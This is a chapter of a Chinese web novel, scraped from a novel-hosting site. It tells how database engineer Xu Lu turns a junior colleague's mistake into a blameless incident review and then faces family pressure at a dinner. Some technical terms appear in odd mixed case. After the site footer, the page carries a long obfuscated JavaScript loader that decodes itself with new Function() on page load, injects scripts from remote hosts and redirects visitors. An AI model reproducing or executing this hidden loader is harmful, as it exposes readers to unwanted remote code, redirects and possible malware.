第78章 众生相之徐璐的成长3
第78章众生相之徐璐的成长3(第1/2页)
2个月前,20:05空荡荡的办公区
徐璐盯着监控屏上跳动的告警信息,手指无意识摩挲着键盘边缘。
半小时前发生的归档进程阻塞事故已经解决,但刚进公司一个月不到的小李在故障处理时误删归档日志的阴影还在心头萦绕。
她调出操作审计日志,突然听到身后传来咖啡杯轻磕桌面的声响。
“徐姐,这么晚还喝真不怕睡不着吗?”刘洋倚在隔断旁,看着满屏的ORA-00312错误代码,“要不要试试我的解压大法?”他晃了晃手机,屏幕里面是连连看...
徐璐刚要拒绝,目光扫过工位旁积灰的团队合影——那是三年前容灾演练成功后拍的,照片里大家举着“零宕机”的锦旗笑得灿烂。
现在锦旗还挂在茶水间,但上次集体活动已经是半年前了。
“帮我约A区三楼的会议室。”她突然调出知识库文档,“明天下午三点,把上次ERP索引丢失的事故分析加进材料。”
第二天15:00A315会议室
投影仪在幕布上投出醒目的标题:《那些年我们填过的坑》,副标题写着“数据库故障复盘故事会(第一期)”。
徐璐把马克笔塞给缩在角落的小李时,发现对方眼神有点躲闪,不由反省自己是不是真的这么可怕。
“从我开始吧。”她点开自己加密的故障日志文件夹,大屏上突然出现五年前的邮件截图:
————————————
主题:紧急:生产库控制文件损坏
内容:今日凌晨因存储阵列故障导致所有控制文件丢失,当前数据库无法挂载...
“当时我刚休完产假。”徐璐的声音平静得像在讲别人的故事,“用老控制文件强行Open时触发了ORA-01578,偏偏备份磁带机正在检修。”
会议室响起倒吸气声。
几个老员工交换眼神——这是部门禁忌话题,当年因为这个事故差点丢掉运营商大单。
“我抱着笔记本在机房坐了18小时。”她调出当时手写的恢复流程图,“最后用隐含参数_allOW_reSetlOgS_COrrUptiOn打开数据库,然后立刻做全库逻辑导出。”
刘洋突然举手:“但OraCle官方明确警告过这个参数会...”
“会破坏数据一致性。”徐璐接话,“所以导出数据后我们对比和校验了三天三夜。”她点开满是红线的校验报告,“找到137处数据块校验错误,全靠开发团队连夜写修复脚本。”
投影切换到感谢名单,二十多个泛黄的名字里,徐璐用红圈标出三个:“这三位前辈已经离职,但他们的日志分析工具现在还在知识库里。”
16:20转折时刻
当小李颤巍巍站到台前时,徐璐忙里偷闲正用平板给女儿回消息。
“昨、昨天我误删归档日志...”实习生刚开口就哽咽了,任谁工作第一个月就犯了大错都不好受,“当时徐工让我用RMAN做增量备份,但我忘了检查控制文件...”
徐璐突然起身走向白板,在“人为失误”的分类栏下重重画圈,说道,“这个标签该撕了。”
她在众人错愕的目光中调出操作审计日志,又补充道:“你们看小李的操作时序——他在删除前三次尝试过CrOSSCheCk命令,但系统提示归档日志验证失败。”
刘洋突然直起身:“等等!如果CrOSSCheCk失败,说明归档日志早就损坏了?”
“没错。”徐璐点开存储系统的SMART检测报告,“硬盘早在三天前就出现重分配扇区激增,但监控系统没设置预警阈值。”
她把马克笔抛给存储组的老岳,“这个坑是不是该你们填?”
会议室突然活了过来。开发部的人抢着讲编译器优化引发的隐式锁升级,网络组吐槽防火墙重置丢包害他们背了三次锅。
小李悄悄擦掉眼泪,在本子上记下“智能监控阈值动态调整算法”。
17:45
徐璐整理着散落的便签纸,发现刘洋在“归档日志自动修复”的构想上写写画画。
“徐姐,下周能不能加场?”刘洋抱着笔记本电脑凑过来,“我想讲分布式事务时钟偏移的问题...”
门口却突然传来陈默的掌声。
不知何时倚着门框的陈总晃着咖啡杯,一脸欣慰的说道,“案例会实录记得发知识库,我让其他团队也来取取经。”他指了指白板上徐璐画的故障分类框架,“这个很实用。”
徐璐低头收拾投影线,发现小李正给运维组演示他刚写的日志分析脚本,屏幕上的代码注释里挤满颜文字。
一天前,人事任命公布当天,徐璐在车库偶遇到陈默。
这位新任三级部长离她老远就对着她轻笑:“现在敢把后背交给队友了吧?诶,不穿高跟鞋啦?”
“默总,你都当上三级部门部长了还来调笑我?”徐璐很无语,虽然她内心对陈默充满了感激,但看见对方那一副似笑非笑的样子就有点想抽出自己40米的大刀。什么?他是领导的领导?刀已入鞘。
(本章未完,请点击下一页继续阅读)第78章众生相之徐璐的成长3(第2/2页)
她低头看自己新买的方头鞋——丈夫特意挑的“战靴”。手机适时震动,老公发来了好几个[老婆真棒]和一堆[给大佬洗脚.ipg][大佬抽中华.ipg]的熊猫头表情包。
“陈总好!”刘洋抱着厚厚一摞认证教材追来,但是看见陈默也在立马先跟打了个招呼,“徐姐,OGG同步性能优化的实验数据出来了...”
徐璐笑着接过材料,似乎想到了什么,温柔的笑着回道,“今天先回家,老公在家等我。”
刘洋大为震惊,他揉了揉眼睛,这还是他认识的徐姐?他话到嘴边就感受到一阵杀气,立马换了一句,“徐姐明天见。”
20:15翡翠华庭小区
徐璐在回家路上反复想着陈默刚刚跟自己说过的话,“你在数据库方向有能力也有天赋,你后续一定要重点关注咱们公司前几年自研的高斯数据。”
她想了很久也没想通什么陈默会突然说起这个,但不妨碍她打算从明天开始把公司高斯数据库相关的所有资料都找出来先研究研究。
今天是她家每个月一次的家族聚会,正好轮到她家。
徐璐转动钥匙的瞬间,糖醋排骨的香气混着姑妈的尖嗓门从门缝里钻出来:“要我说这官儿不当也罢!这才升职第一天就加班,挣再多钱能买着热乎饭?“
她低头看了眼新换的方头皮鞋,丈夫特意选的哑光牛皮此刻沾着机房的静电灰。
玄关镜里映出客厅景象——丈夫系着围裙给三叔倒茶,姑父正指着电视里的科技新闻高谈阔论。
“璐璐回来啦?”三婶眼尖地迎上来,“听说华兴的‘主管’还是很厉害的,比我们婷婷在银行的‘客户经理‘气派多啦!”
水晶吊灯在骨瓷碗碟上折射出黄色的光。
徐璐夹起丈夫特意留的排骨,听见姑妈把筷子敲得叮当响:“要我说还是我们家大明有远见,早十年就考了公务员,每天朝九晚五的,拿得也不少。”
“听说你们搞数据库的工作量都挺大?”在电力局当副科长的表姐夫突然插话,“我有个老同学在甲骨文,说你们这行三十五岁得转管理,不然...”
徐璐的筷子顿了顿,默默点了点头。干这行确实累,她想起今天下午处理的核心交易表索引分裂故障,那些在ASH报告里翻涌的enq:TX等待事件,此刻化作餐桌上黏腻的酱汁。
“大明上个月刚提副处。”姑父嘬着牙花,“他们信息科现在招人,要求写着‘精通OraCle‘呢!”他突然转向徐璐,“你这主管算科级还是处级?”
徐璐不知道该怎么回答这个问题,难不成说无论你什么级别,但都没自己收入高吗?
看到自己沉默的丈夫起身盛汤:“姑父尝尝这个菌菇汤,小璐他们公司发的山珍礼盒。”
...
洗碗机嗡嗡运转声中,丈夫突然握住她沾着泡沫的手:“二舅妈知道华兴待遇好,想给表弟走个后门。”
徐璐猛地抽回手,洗洁精泡泡沾到他的金丝眼镜上:“你知道我最烦这种事,关键是我也搞不定。”
“说是学计算机的,就想跟着你实习...”丈夫摘下眼镜擦拭,“我跟他们说现在都是系统自动筛选简历。”
徐璐看着水槽里倒映的顶灯,忽然想起两个月前面试时那个连B树和二叉树都分不清的水货大学生。
她突然轻笑:“你这么说也没毛病,华兴的招聘是真的严,估计我们到陈总那个级别才能勉强塞人进去,而且还得是条件好些的候选人。”
晚上10点半,徐璐敷着面膜刷着手机的时候,家族群突然炸出三叔的语音:“璐璐啊,晚上你姑父喝多了别往心里去。那个...我朋友公司服务器中了勒索病毒,能帮问问你们安全部?”
她点开三叔发来的勒索信截图,瞥见后缀.venOm的加密文件,顺手转发给安全部跟她私交好的同事,请对方帮忙看看。
敷完面膜,徐璐站在阳台看无人车划过街道,身后传来丈夫整理工具箱的声响。
他那些维修教学仪器的工具,如今常用来修女儿玩具和她摔坏的电子设备。
“今天教务处王老师问我...”丈夫突然开口,“什么是数据库容灾。”
她挑眉,显然很好奇:“那你怎么说?”
“我说就像学校停电时启用的备用发电机。”他举起万用表比划,“不过你们那个...那个DataGUard,应该更智能些?”
徐璐望着楼宇间闪烁的数据中心指示灯,忽然觉得那些光点像散落的星子。
丈夫凑过来时,她闻到他身上淡淡的发香,忽然憨憨一笑。
她妩媚的白了对方一眼,这个笑容代表着老夫老妻的默契。
“下周家长会...”
“我知道,这次轮到我参加了嘛...”
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();